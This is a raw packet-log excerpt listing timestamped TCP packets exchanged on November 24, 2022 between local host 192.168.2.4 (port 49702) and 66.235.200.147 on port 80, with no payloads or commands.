Nov 24, 2022 13:27:53.383796930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383807898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383815050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383826971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383840084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383846045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383862019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383863926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383872032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383882999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383888006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383902073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383908987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383919954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383933067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383936882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383944035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383955956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383965015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383975029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383986950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383992910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384006977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384011984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384018898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384030104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384042978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384047031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384058952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384066105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384077072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384083986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384098053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384103060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384115934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384119987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384139061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384141922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384141922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384156942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384162903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384174109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384177923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384191036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384196997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384211063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384215117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384227991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384232044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384246111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384247065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384263039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384280920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384284019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384299040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384308100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384318113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384335995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384346962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384355068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384373903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384378910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384392977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384393930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384413004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384419918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384432077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384440899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384449959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384465933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384473085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384490967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384495020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384495020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384509087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384521008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384527922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384541035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384548903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384562969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384568930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384588003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384596109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384596109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384605885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384624004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384627104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384641886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384658098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384661913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384680033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384684086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384696960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384701967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384716034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384723902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384735107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384742022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384752989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384757996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384772062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384777069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384789944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384809017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384814978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384826899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384835958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384845972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384861946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384865046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384882927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384888887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384900093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384912968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384918928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384927988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384938955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384943962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384957075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384962082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384974003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.384974957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.384990931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385008097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385010958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385025024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385031939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385042906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385057926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385060072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385077000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385092020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385094881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385113955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385121107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385130882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385143042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385148048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385164976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385169983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385181904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385199070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385199070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385215998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385235071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385236979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385251999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385271072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385289907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385298014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385298014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385308027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385317087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385328054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385329962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385345936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385356903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385364056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385380983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385385036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385397911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385407925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385415077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385432005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385436058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385453939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385458946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385472059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385488987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385505915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385513067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385513067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385513067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385524035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385538101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385541916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385550976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385560989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385561943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385581017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385597944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385613918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385617018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385629892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385636091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385648966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385652065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385668993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385669947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385687113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385694981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385705948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385713100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385725021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385727882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385741949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385742903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385761976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385763884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385778904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385782003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385797977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385797977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385813951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385814905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385833025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385835886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385848999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385853052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385868073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385870934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385886908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385898113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385904074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385912895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385922909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385929108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385941029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385946035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385958910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385962963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385976076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385979891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.385993004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.385997057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386012077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386013031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386030912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386034012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386049032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386051893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386065006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386068106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386085033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386091948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386101961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386110067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386120081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386121035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386138916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386143923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386157990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386159897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386178970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386179924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386193991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386197090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386214972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386214972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386230946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386231899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386248112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386250973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386265039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386271000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386287928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386303902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386306047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386323929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386324883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386352062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386359930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386374950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386378050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386394978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386399031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386411905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386430979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386447906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386461973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386462927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386476040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386492014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386503935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386511087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386531115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386533022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386545897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386550903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386569023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386574984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386591911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386594057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386606932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386611938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386630058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386634111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386648893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386651039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386666059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386667013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386684895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386684895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386698961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386703014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386718988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386720896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386735916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386738062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386754036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386755943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386773109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386774063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386790991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386791945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386806965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386811018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386827946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386828899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386842966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386845112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386862040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386862993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386895895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386895895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386898041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386919022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386936903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386955023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386964083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.386967897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386986017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.386991024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387003899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387010098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387022972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387032986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387042999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387048006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387063026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387065887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387079000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387079954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387095928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387099028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387116909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387120008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387132883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387135029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387152910 CET	80	49702	66.235.200.147	192.168.2.4
